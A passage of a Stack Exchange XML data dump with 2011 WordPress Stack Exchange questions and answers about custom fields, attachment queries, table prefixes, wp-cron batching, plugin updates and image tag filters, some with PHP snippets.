CommentCount="2" />
  <row Id="19008" PostTypeId="2" ParentId="13768" CreationDate="2011-06-02T07:13:58.797" Score="0" ViewCount="" Body="&lt;p&gt;WordPress emulates magic_quotes_gpc and won't be deprecating this for some time due to concerns over plugin security and backward compatibility. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;To work around this, you need to use stripslashes() or, if you need to strip slashes when data arrives via $_POST, $_GET, $_COOKIE, and $_REQUEST arrays, you can use the WordPress stripslashes_deep() function: &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/stripslashes_deep&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Function_Reference/stripslashes_deep&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2761" LastActivityDate="2011-06-02T07:13:58.797" />
  <row Id="19009" PostTypeId="1" AcceptedAnswerId="19016" CreationDate="2011-06-02T08:01:19.297" Score="1" ViewCount="110" Body="&lt;p&gt;I'm using the &lt;a href=&quot;http://plugins.elliotcondon.com/advanced-custom-fields/&quot; rel=&quot;nofollow&quot;&gt;advanced custom field plugin&lt;/a&gt; and having a bit of trouble when using the image field type. (I'm not sure if this relates to the plugin that much actually!).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When inserting an image instead of the option to select it I only have the option to insert it into post, which tries to insert the image into a wysiwyg. I only get the option to select image if I first insert it into post then delete it from the wysiwyg, then click choose image again and find it in the media gallery.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any workarounds/plugins to allow me to select the image straight away?&lt;/p&gt;&#xA;" OwnerUserId="5415" LastActivityDate="2011-06-02T09:06:34.987" Title="Unable to select image using custom image field type" Tags="&lt;plugins&gt;&lt;custom-field&gt;" AnswerCount="1" />
  <row Id="19010" PostTypeId="1" AcceptedAnswerId="20748" CreationDate="2011-06-02T08:08:06.947" Score="0" ViewCount="104" Body="&lt;p&gt;I'm using this query to return attachments of a page.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$args = array(&#xA;    'post_parent' =&amp;gt; $post-&amp;gt;ID,&#xA;    'post_status' =&amp;gt; 'inherit',&#xA;    'post_type' =&amp;gt; 'attachment'&#xA;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is there a way to adapt this in order to return attachments for the current page &lt;em&gt;and&lt;/em&gt; the attachments of all child pages ?&lt;/p&gt;&#xA;" OwnerUserId="1381" LastActivityDate="2011-06-22T22:29:05.057" Title="How can I build a query that returns all attachments of a page and it's children pages?" Tags="&lt;wp-query&gt;&lt;attachments&gt;&lt;children&gt;" AnswerCount="1" />
  <row Id="19011" PostTypeId="1" CreationDate="2011-06-02T08:33:39.683" Score="1" ViewCount="135" Body="&lt;p&gt;Is there a way to populate the custom field dropdown box when you install a theme? I want to make it easier for users and avoid having them add the terms manually when they first set it up.&lt;/p&gt;&#xA;" OwnerUserId="5875" LastActivityDate="2011-06-02T08:39:57.063" Title="Populate Custom Field Dropdown on Theme Install?" Tags="&lt;custom-field&gt;&lt;functions&gt;" AnswerCount="2" />
  <row Id="19012" PostTypeId="2" ParentId="19011" CreationDate="2011-06-02T08:38:25.130" Score="0" ViewCount="" Body="&lt;p&gt;You could use the &lt;a href=&quot;http://wordpress.org/extend/plugins/custom-field-template/&quot; rel=&quot;nofollow&quot;&gt;Custom Field Template&lt;/a&gt; plugin to create a nice interface for your users.&lt;/p&gt;&#xA;" OwnerUserId="1381" LastActivityDate="2011-06-02T08:38:25.130" />
  <row Id="19013" PostTypeId="2" ParentId="19011" CreationDate="2011-06-02T08:39:57.063" Score="1" ViewCount="" Body="&lt;p&gt;the better way would be to create your own meta box nd to add one to your new/edit page screen you can use &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/add_meta_box&quot; rel=&quot;nofollow&quot;&gt;add_meta_box()&lt;/a&gt; function (look at the example at the bottom for the examples), you can also use &lt;a href=&quot;http://www.deluxeblogtips.com/p/meta-box-script-for-wordpress.html&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;this class&lt;/strong&gt;&lt;/a&gt; which is nicely documented and does most of the job for you. &lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-06-02T08:39:57.063" />
  <row Id="19014" PostTypeId="2" ParentId="18235" CreationDate="2011-06-02T08:46:23.770" Score="2" ViewCount="" Body="&lt;p&gt;I've been trying to work out the issue for months now, and have made several adjustments to try to solve the problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In short: Yes, we know there's a problem. No, I don't know how to fix it yet. You can stop reporting it already.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Current workaround: &lt;em&gt;ANY&lt;/em&gt; commit of any kind should trigger it to update. So simply adding a space to the readme.txt and waiting 30 minutes should do the trick. If it doesn't, then contact me: otto@wordpress.org&lt;/p&gt;&#xA;" OwnerUserId="2232" LastActivityDate="2011-06-02T08:46:23.770" />
  <row Id="19015" PostTypeId="1" CreationDate="2011-06-02T08:54:46.483" Score="0" ViewCount="35" Body="&lt;p&gt;I changed my prefix of my tables from the wp_ to something else for security reasons and good practice etc.  I was curious most of new plugins installed take on the new prefix but I have one that refuses and still installs with wp_   it still works but i was curious is that normal practice or just a bad written plugin?&lt;/p&gt;&#xA;" OwnerUserId="5825" LastActivityDate="2011-06-02T09:13:25.383" Title="prefix table and plugins" Tags="&lt;plugins&gt;&lt;database&gt;" AnswerCount="1" />
  <row Id="19016" PostTypeId="2" ParentId="19009" CreationDate="2011-06-02T09:06:34.987" Score="0" ViewCount="" Body="&lt;p&gt;Try &lt;a href=&quot;http://wordpress.org/extend/plugins/verve-meta-boxes/&quot; rel=&quot;nofollow&quot;&gt;Verve Meta Boxes&lt;/a&gt; plugin of if you are up to coding yourself a metabox then you can use &lt;a href=&quot;http://www.deluxeblogtips.com/p/meta-box-script-for-wordpress.html&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;this class&lt;/strong&gt;&lt;/a&gt; which does most of the work for you.&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-06-02T09:06:34.987" CommentCount="1" />
  <row Id="19017" PostTypeId="2" ParentId="19015" CreationDate="2011-06-02T09:13:25.383" Score="4" ViewCount="" Body="&lt;p&gt;Short answer: Just a badly written plugin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Longer answer: When a plugin calls the database in the right/correct/best practice way it uses Global &lt;code&gt;$wpdb&lt;/code&gt; instead of just naming the database table, for example:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Wrong way&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$sql = &quot;SELECT * FROM wp_posts WHERE... &quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Right way&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$sql = &quot;SELECT * FROM $wpdb-&amp;gt;posts WHERE... &quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;this way it would work even if  you change your tables prefix.&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-06-02T09:13:25.383" />
  <row Id="19018" PostTypeId="1" AcceptedAnswerId="19022" CreationDate="2011-06-02T09:23:37.273" Score="0" ViewCount="255" Body="&lt;p&gt;How can I remove the li from wp_nav_menu? I know I can remove ul but is it also possible to remove the li? I would want to do this on just one menu not all the menus on my site.&lt;/p&gt;&#xA;" OwnerUserId="5844" LastEditorUserId="73" LastEditorDisplayName="" LastEditDate="2011-06-02T10:53:07.793" LastActivityDate="2011-06-04T13:26:14.217" Title="Remove li from wp_nav_menu" Tags="&lt;custom-menus&gt;&lt;navigation&gt;" AnswerCount="1" />
  <row Id="19019" PostTypeId="1" CreationDate="2011-06-02T09:45:38.773" Score="1" ViewCount="108" Body="&lt;p&gt;I wrote a plugin for WordPress which requires regular updates.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to notify user of new version being available (some of the other plugins have some kind of this option - when new version is available user can see it in his admin panel and update - everything using some built-in WP functions...)&lt;/p&gt;&#xA;" OwnerUserId="5261" LastActivityDate="2011-06-02T14:46:37.723" Title="WP plugin updates" Tags="&lt;plugins&gt;" AnswerCount="2" />
  <row Id="19020" PostTypeId="1" AcceptedAnswerId="19027" CreationDate="2011-06-02T10:06:31.543" Score="0" ViewCount="35" Body="&lt;p&gt;I have several thousand users subrscribed to a WP website. Everyday I need to send an email to each user. The emails are custom generated depending on the data of several custom user profile fields. For each user a custom query based on this data returns a list of posts, which constitute the message of the email.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you can imagine that can get pretty heavy on the server, for that reason, when I launch the function to parse the users, generate the email and send it, Wordpress crashes. It works fine with a couple of dozen users, but several thousand is too much.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I'd like to do to avoid this, is to only handle ten users at a time, every two minutes for example. I can do that with a CRON function.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm looking for the best way to do that. It would be something like &quot;parse the first ten users and send their email, then parse the next ten, etc.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I implement this ten by ten rule ? How is my function going to know on which user to start each time I call it ?&lt;/p&gt;&#xA;" OwnerUserId="1381" LastActivityDate="2011-06-02T11:46:50.483" Title="How to parse a huge list of users using a CRON function?" Tags="&lt;custom-field&gt;&lt;users&gt;&lt;email&gt;&lt;wp-cron&gt;&lt;profiles&gt;" AnswerCount="1" />
  <row Id="19021" PostTypeId="2" ParentId="18940" CreationDate="2011-06-02T10:25:30.240" Score="0" ViewCount="" Body="&lt;pre&gt;&lt;code&gt;    //Shortcode for Get Recent Post Thumbnail&#xA;add_shortcode('gplt','getPostListThumbs_shortcode');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;function getPostListThumbs_shortcode($atts, $content = null){&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;extract(shortcode_atts(array(&#xA;    'orient' =&amp;gt; 'v',&#xA;    'imgo' =&amp;gt; true,&#xA;    'ttgo' =&amp;gt; true,&#xA;    'dtgo' =&amp;gt; false,&#xA;    'dtfrm' =&amp;gt; 1,&#xA;    'categ' =&amp;gt; '',&#xA;    'postnr' =&amp;gt; 500,&#xA;    'linn' =&amp;gt; 3,&#xA;    'tbwid' =&amp;gt; 175,&#xA;    'tbhig' =&amp;gt; 100       &#xA;), $atts));&#xA;$orient = gtpartrat($orient,'v');&#xA;$imgo = gtpartrat($imgo,false);&#xA;$ttgo = gtpartrat($ttgo,false);&#xA;$dtgo = gtpartrat($dtgo,false);&#xA;$dtfrm = gtpartrat($dtfrm,1);&#xA;$categ = gtpartrat($categ,'');&#xA;$postnr = gtpartrat($postnr,500);&#xA;$linn = gtpartrat($linn,3);&#xA;$tbwid = gtpartrat($tbwid,175);&#xA;$tbhig = gtpartrat($tbhig,100);&#xA;&#xA;$htmlcod = &quot;&amp;lt;table id='div_postlist' width='&quot;.$divwid.&quot;' cellpadding='4' cellspacing='4'&amp;gt;&quot;.&quot;\n&quot;;&#xA;$htmlcod .= &quot;&amp;lt;tr&amp;gt;&quot;.&quot;\n&quot;;&#xA;//&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;// if (have_posts()) :&#xA;        global $post;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    if($categ!=''){&#xA;        $strquery = &quot;numberposts=&quot;.$postnr.&quot;&amp;amp;category_name=&quot;. $categ;&#xA;    }&#xA;    else{&#xA;          $strquery =  &quot;numberposts=&quot;.$postnr;&#xA;    }&#xA;&#xA;    $myposts=get_posts($strquery);&#xA;&#xA;    $ctxtr = 0;&#xA;    switch($dtfrm){&#xA;        case 1:&#xA;            $dtdis = 'd/m/y';&#xA;        break;&#xA;        case 2:&#xA;            $dtdis = 'm/d/y';&#xA;        break;&#xA;    }&#xA;    if($myposts):&#xA;&#xA;    foreach($myposts as $post) :&#xA;&#xA;                $args = array(&#xA;                    'post_type' =&amp;gt; 'attachment',&#xA;                    'numberposts' =&amp;gt; -1,&#xA;                    'post_status' =&amp;gt; null,&#xA;                    'post_parent' =&amp;gt; $post-&amp;gt;ID&#xA;                );&#xA;                $attachments = get_posts($args);&#xA;&#xA;&#xA;                $imgsrc = &quot;&quot;;&#xA;                if ($attachments):&#xA;&#xA;                    foreach ($attachments as $attachment) {&#xA;&#xA;                        $imgsrc = wp_get_attachment_image($attachment-&amp;gt;ID, array($tbwid,$tbhig), $icon = false);&#xA;                        break;&#xA;                    }&#xA;                endif;&#xA;&#xA;                if($orient==&quot;v&quot;){     &#xA;                        if($ctxtr == 0){&#xA;                            $htmlcod .= &quot;&amp;lt;tr&amp;gt;&quot;.&quot;\n&quot;;&#xA;                        } &#xA;                        $ctxtr = $ctxtr + 1;&#xA;&#xA;                            $htmlcod .= &quot;&amp;lt;td valign='top'&amp;gt;&quot;.&quot;\n&quot;;&#xA;                        if($imgsrc!=&quot;&quot;):                           &#xA;                            $htmlcod .= &quot;&amp;lt;a href='&quot;. get_permalink() .&quot;' title='&quot;. get_the_title() .&quot;'&amp;gt;&quot;.&quot;\n&quot;;&#xA;                            $htmlcod .= $imgsrc;&#xA;                            $htmlcod .= &quot;&amp;lt;/a&amp;gt;&quot;.&quot;\n&quot;;                           &#xA;                        endif;&#xA;                            $htmlcod .= &quot;&amp;lt;/td&amp;gt;&quot;.&quot;\n&quot;;&#xA;&#xA;                        if(!$imgo){           &#xA;                            $htmlcod .= &quot;&amp;lt;td valign='top'&amp;gt;&quot;.&quot;\n&quot;;&#xA;                            if($dtgo):&#xA;                            $htmlcod .= &quot;&amp;lt;p&amp;gt;&quot;.get_the_time($dtdis).&quot;&amp;lt;/p&amp;gt;&quot;;&#xA;                            endif;&#xA;                            if($ttgo):&#xA;                            $htmlcod .= &quot;&amp;lt;a href='&quot;. get_permalink().&quot;' title='&quot;. get_the_title() .&quot;'&amp;gt;&quot;;&#xA;                            $htmlcod .= get_the_title();&#xA;                            $htmlcod .= &quot;&amp;lt;/a&amp;gt;&quot;.&quot;\n&quot;;&#xA;                            endif;&#xA;                            $htmlcod .= &quot;&amp;lt;/td&amp;gt;&quot;.&quot;\n&quot;;&#xA;                        }&#xA;                        $htmlcod .= &quot;&amp;lt;/tr&amp;gt;&amp;lt;tr&amp;gt;&quot;.&quot;\n&quot;;  &#xA;                }&#xA;                else{&#xA;&#xA;                        if($ctxtr == 0){&#xA;                            $htmlcod .= &quot;&amp;lt;tr&amp;gt;&quot;.&quot;\n&quot;;&#xA;                        }      &#xA;                        $ctxtr = $ctxtr + 1;                      &#xA;                        $htmlcod .= &quot;&amp;lt;td valign='top'&amp;gt;&quot;.&quot;\n&quot;;&#xA;                        $htmlcod .= &quot;&amp;lt;table cellpadding='3' cellspacing='3' border='0' width='100%'&amp;gt;&quot;.&quot;\n&quot;;&#xA;&#xA;                            $htmlcod .= &quot;&amp;lt;tr&amp;gt;&quot;.&quot;\n&quot;;&#xA;                            $htmlcod .= &quot;&amp;lt;td valign='top'&amp;gt;&quot;.&quot;\n&quot;;&#xA;                        if($imgsrc!=&quot;&quot;):                           &#xA;                            $htmlcod .= &quot;&amp;lt;a href='&quot;. get_permalink() .&quot;' title='&quot;. get_the_title() .&quot;'&amp;gt;&quot;.&quot;\n&quot;;&#xA;                            $htmlcod .= $imgsrc;&#xA;                            $htmlcod .= &quot;&amp;lt;/a&amp;gt;&quot;.&quot;\n&quot;;    &#xA;                            $htmlcod .= &quot;&amp;lt;/td&amp;gt;&quot;.&quot;\n&quot;;                       &#xA;                        endif;&#xA;&#xA;                        if(!$imgo){  &#xA;                            $htmlcod .= &quot;&amp;lt;td valign='top'&amp;gt;&quot;.&quot;\n&quot;;             &#xA;                            if($dtgo):&#xA;                            $htmlcod .= &quot;&amp;lt;p&amp;gt;&quot;.get_the_time($dtdis).&quot;&amp;lt;/p&amp;gt;&quot;;&#xA;                            endif;&#xA;                            if($ttgo):&#xA;                            $htmlcod .= &quot;&amp;lt;a href='&quot;. get_permalink().&quot;' title='&quot;. get_the_title() .&quot;'&amp;gt;&quot;;&#xA;                            $htmlcod .= get_the_title();&#xA;                            $htmlcod .= &quot;&amp;lt;/a&amp;gt;&quot;.&quot;\n&quot;;&#xA;                            endif;      &#xA;                            $htmlcod .= &quot;&amp;lt;/td&amp;gt;&quot;.&quot;\n&quot;;                         &#xA;                        }&#xA;                        $htmlcod .= &quot;&amp;lt;/td&amp;gt;&quot;.&quot;\n&quot;;&#xA;                        $htmlcod .= &quot;&amp;lt;/tr&amp;gt;&quot;.&quot;\n&quot;;&#xA;                        $htmlcod .= &quot;&amp;lt;/table&amp;gt;&quot;.&quot;\n&quot;;&#xA;                        $htmlcod .= &quot;&amp;lt;/td&amp;gt;&quot;.&quot;\n&quot;;&#xA;                        if($ctxtr == $linn){&#xA;                            $htmlcod .= &quot;&amp;lt;/tr&amp;gt;&quot;.&quot;\n&quot;;&#xA;                            $ctxtr = 0;&#xA;                        }&#xA;                }&#xA;    endforeach;&#xA;    else:&#xA;        $htmlcod = &quot;&amp;lt;tr&amp;gt;&quot;.&quot;\n&quot;;&#xA;        $htmlcod = &quot;&amp;lt;td&amp;gt;&quot;.&quot;\n&quot;;&#xA;        $htmlcod .= &quot;No registers found.&quot;.&quot;\n&quot;;&#xA;        $htmlcod .= &quot;&amp;lt;/td&amp;gt;&quot;.&quot;\n&quot;;&#xA;        $htmlcod .= &quot;&amp;lt;/tr&amp;gt;&quot;.&quot;\n&quot;;&#xA;    endif;&#xA;// endif;&#xA;    $htmlcod .= &quot;&amp;lt;/table&amp;gt;&quot;;&#xA;return $htmlcod;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;} &#xA;i Found the bug in  this line 'if (have_posts()) :' .We Need to make Comment  Lines. &#xA;1.//if (have_posts()) : &#xA;2. // endif;&#xA;Now It's Working Fine.Hurrahhhhh.Thanks Bainternet :)&lt;/p&gt;&#xA;" OwnerUserId="5669" LastActivityDate="2011-06-02T10:25:30.240" CommunityOwnedDate="2011-06-02T10:25:30.240" />
  <row Id="19022" PostTypeId="2" ParentId="19018" CreationDate="2011-06-02T10:52:54.063" Score="1" ViewCount="" Body="&lt;p&gt;You could use a &lt;a href=&quot;http://wordpress.stackexchange.com/questions/14037/menu-items-description/14039#14039&quot;&gt;custom walker&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="73" LastActivityDate="2011-06-02T10:52:54.063" CommentCount="1" />
  <row Id="19023" PostTypeId="2" ParentId="19019" CreationDate="2011-06-02T10:55:03.737" Score="0" ViewCount="" Body="&lt;p&gt;I just released this plugin yesterday that does what you want: &lt;a href=&quot;http://wordpress.org/extend/plugins/wp-updates-notifier/&quot; rel=&quot;nofollow&quot;&gt;WP Updates Notifier&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can get your users to use this to be notified or take the plugin and bundle it into your plugin and modify to only notify about your plugin.&lt;/p&gt;&#xA;" OwnerUserId="4610" LastEditorUserId="4610" LastEditorDisplayName="" LastEditDate="2011-06-02T14:46:37.723" LastActivityDate="2011-06-02T14:46:37.723" />
  <row Id="19024" PostTypeId="2" ParentId="19019" CreationDate="2011-06-02T10:55:08.917" Score="2" ViewCount="" Body="&lt;p&gt;There is a &lt;a href=&quot;http://w-shadow.com/blog/2010/09/02/automatic-updates-for-any-plugin/&quot; rel=&quot;nofollow&quot;&gt;library for you&lt;/a&gt;. :)&lt;/p&gt;&#xA;" OwnerUserId="73" LastActivityDate="2011-06-02T10:55:08.917" />
  <row Id="19025" PostTypeId="1" CreationDate="2011-06-02T11:21:24.807" Score="0" ViewCount="57" Body="&lt;p&gt;how to move meta boxes wirt my custom taxonomy from sidebar to first column it /wp-admin/post.php&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or how to save my admin metabox position to all other users.&lt;/p&gt;&#xA;" OwnerUserId="5876" LastActivityDate="2011-06-02T11:21:24.807" Title="Move custom taxonomy meta box in post page" Tags="&lt;wp-admin&gt;&lt;metabox&gt;" />
  <row Id="19026" PostTypeId="1" CreationDate="2011-06-02T11:42:44.157" Score="1" ViewCount="160" Body="&lt;p&gt;&quot;Remove Update Notification for all users except ADMIN User&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have 2 administrators in my wordpress, but I only want that one of them see the &quot;Update Notification&quot;. I've inserted this code on my funtions.php file  and change name of one of my adminastrator login name the code - if ($user_login !== &quot;miguel&quot;) - but it didnt' work? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help?&#xA;Thanks&lt;/p&gt;&#xA;" OwnerUserId="5877" LastActivityDate="2011-06-02T13:06:02.590" Title="&quot;Remove Update Notification for all users except ADMIN User&quot;" Tags="&lt;notifications&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="19027" PostTypeId="2" ParentId="19020" CreationDate="2011-06-02T11:46:50.483" Score="1" ViewCount="" Body="&lt;p&gt;See &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_schedule_single_event&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;wp_schedule_single_event()&lt;/code&gt;&lt;/a&gt; function. The general idea would be each time after you are done with a batch of users schedule next run few minutes ahead and pass info (such as offset from which user to continue) in arguments.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On larger scale I'd consider looking into alternate more specialized solutions or simplifying your process. Mass emailing is not easy to get right and WP is not developed with such tasks in mind.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-06-02T11:46:50.483" />
  <row Id="19028" PostTypeId="2" ParentId="18804" CreationDate="2011-06-02T11:58:05.947" Score="1" ViewCount="" Body="&lt;p&gt;A little tricky to say by looking at code alone.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The first thing you need to check in such cases - if your validation function receives data from submitted form. &lt;code&gt;var_dump()&lt;/code&gt; input and &lt;code&gt;die;&lt;/code&gt; right after that to stop execution and prevent redirect back.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Depending on what you get there (if anything) check back through Settings API functions. There are a lot of arguments to juggle with those and it is easy to mix then up.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-06-02T11:58:05.947" />
  <row Id="19029" PostTypeId="1" AcceptedAnswerId="19046" CreationDate="2011-06-02T12:10:05.520" Score="0" ViewCount="129" Body="&lt;p&gt;I'm attempting to remove the title attribute for post thumbnails (on certain posts), and I assume the get_image_tag filter is the way to do this. However, what I've got so far isn't working. What do I need to change to make this work? My code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter('get_image_tag', 'image_no_title');&#xA;function image_no_title($title) {&#xA;    $title = '';&#xA;    return $title;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And the relevant function (from wp-includes/media.php):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function get_image_tag($id, $alt, $title, $align, $size='medium') {&#xA;&#xA;    list( $img_src, $width, $height ) = image_downsize($id, $size);&#xA;    $hwstring = image_hwstring($width, $height);&#xA;&#xA;    $class = 'align' . esc_attr($align) .' size-' . esc_attr($size) . ' wp-image-' . $id;&#xA;    $class = apply_filters('get_image_tag_class', $class, $id, $align, $size);&#xA;&#xA;    $html = '&amp;lt;img src=&quot;' . esc_attr($img_src) . '&quot; alt=&quot;' . esc_attr($alt) . '&quot; title=&quot;' . esc_attr($title).'&quot; '.$hwstring.'class=&quot;'.$class.'&quot; /&amp;gt;';&#xA;&#xA;    $html = apply_filters( 'get_image_tag', $html, $id, $alt, $title, $align, $size );&#xA;&#xA;    return $html;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="49" LastActivityDate="2011-06-02T14:20:46.370" Title="What's the proper way to use the get_image_tag filter?" Tags="&lt;images&gt;&lt;title&gt;&lt;add-filter&gt;" AnswerCount="2" />
  <row Id="19030" PostTypeId="2" ParentId="18783" CreationDate="2011-06-02T12:14:08.340" Score="1" ViewCount="" Body="&lt;p&gt;I don't have hands-on experience with such use case, but my first suggestion would be to heck out &lt;a href=&quot;http://wordpress.org/extend/plugins/tags/wiki&quot; rel=&quot;nofollow&quot;&gt;plugins tagged wiki&lt;/a&gt; in official repository.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-06-02T12:14:08.340" CommentCount="1" />
  <row Id="19031" PostTypeId="1" CreationDate="2011-06-02T09:40:38.743" Score="0" ViewCount="24" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;Possible Duplicate:&lt;/strong&gt;&lt;br&gt;&#xA;  &lt;a href=&quot;http://wordpress.stackexchange.com/questions/19019/wp-plugin-updates&quot;&gt;WP plugin updates&lt;/a&gt;  &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&#xA;&#xA;&lt;p&gt;I wrote a plugin for WordPress which requires regular updates.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to notify user of new version being available (some of the other plugins have some kind of this option - when new version is available user can see it in his admin panel and update - everything using some built-in WP functions...)&lt;/p&gt;&#xA;" LastActivityDate="2011-06-02T12:14:18.383" ClosedDate="2011-06-02T12:18:39.867" Title="WP plugin updates" Tags="&lt;php&gt;" AnswerCount="1" CommentCount="0" />
  <row Id="19032" PostTypeId="2" ParentId="19031" CreationDate="2011-06-02T09:44:44.910" Score="0" ViewCount="" Body="&lt;p&gt;This is done for you automatically if you place it in the plugin repository:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/about/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/about/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1208" LastActivityDate="2011-06-02T09:44:44.910" />
  <row Id="19033" PostTypeId="2" ParentId="18605" CreationDate="2011-06-02T12:17:27.823" Score="0" ViewCount="" Body="&lt;p&gt;You don't need separate loop to access post meta. You can use &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/get_the_ID&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;get_the_ID()&lt;/code&gt;&lt;/a&gt; in main loop to retrieve ID of current post and then use it in &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/get_post_meta&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;get_post_meta()&lt;/code&gt;&lt;/a&gt; to retrieve your data.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-06-02T12:17:27.823" />
  <row Id="19034" PostTypeId="2" ParentId="19029" CreationDate="2011-06-02T12:27:00.940" Score="1" ViewCount="" Body="&lt;p&gt;Filter always affect first argument, rest are there for additional info and not even passed by default.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter('get_image_tag', 'image_no_title', 10, 4);&#xA;&#xA;function image_no_title( $html, $id, $alt, $title ) {&#xA;&#xA;    return str_replace(&quot;title=\&quot;{$title}\&quot;&quot;, '', $html);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-06-02T12:27:00.940" CommentCount="3" />
  <row Id="19035" PostTypeId="2" ParentId="18245" CreationDate="2011-06-02T12:30:48.130" Score="1" ViewCount="" Body="&lt;p&gt;As long as you use WP API (&lt;code&gt;$wpdb&lt;/code&gt;) to perform queries, they will be cached by caching plugins (well, by those that have such functionality).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you need to cache data that is more compelx to generate rather than just retrieve look into &lt;a href=&quot;http://codex.wordpress.org/Transients_API&quot; rel=&quot;nofollow&quot;&gt;Transients API&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-06-02T12:30:48.130" CommentCount="1" />
  <row Id="19036" PostTypeId="1" CreationDate="2011-06-02T12:40:24.447" Score="0" ViewCount="132" Body="&lt;p&gt;This query works in some places, but not in others... right now it's not working on the home page. This query is in a file that is included into index.php of my theme.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The regular posts show, but no cutom post types. What's wrong with this query?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$args = array(&#xA;  'post_type' =&amp;gt; array('post', 'video', 'slideshow', 'poll', 'quote'),&#xA;  'orderby' =&amp;gt; 'date', &#xA;  'order' =&amp;gt; 'DESC'&#xA;); query_posts( $args ); &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2796" LastActivityDate="2011-06-02T12:42:32.803" Title="Custom Post Types Not Showing Up In query_posts Result" Tags="&lt;custom-post-types&gt;&lt;query-posts&gt;&lt;custom-loop&gt;" AnswerCount="1" CommentCount="2" />
  <row Id="19037" PostTypeId="2" ParentId="19036" CreationDate="2011-06-02T12:42:32.803" Score="1" ViewCount="" Body="&lt;p&gt;Check that &lt;code&gt;index.php&lt;/code&gt; is indeed being used, it's &lt;em&gt;last resort&lt;/em&gt; kind of template when there is no more suitable one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you need this in multiple places across the site it might be better to run this in some hook, rather than in template file.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-06-02T12:42:32.803" CommentCount="1" />
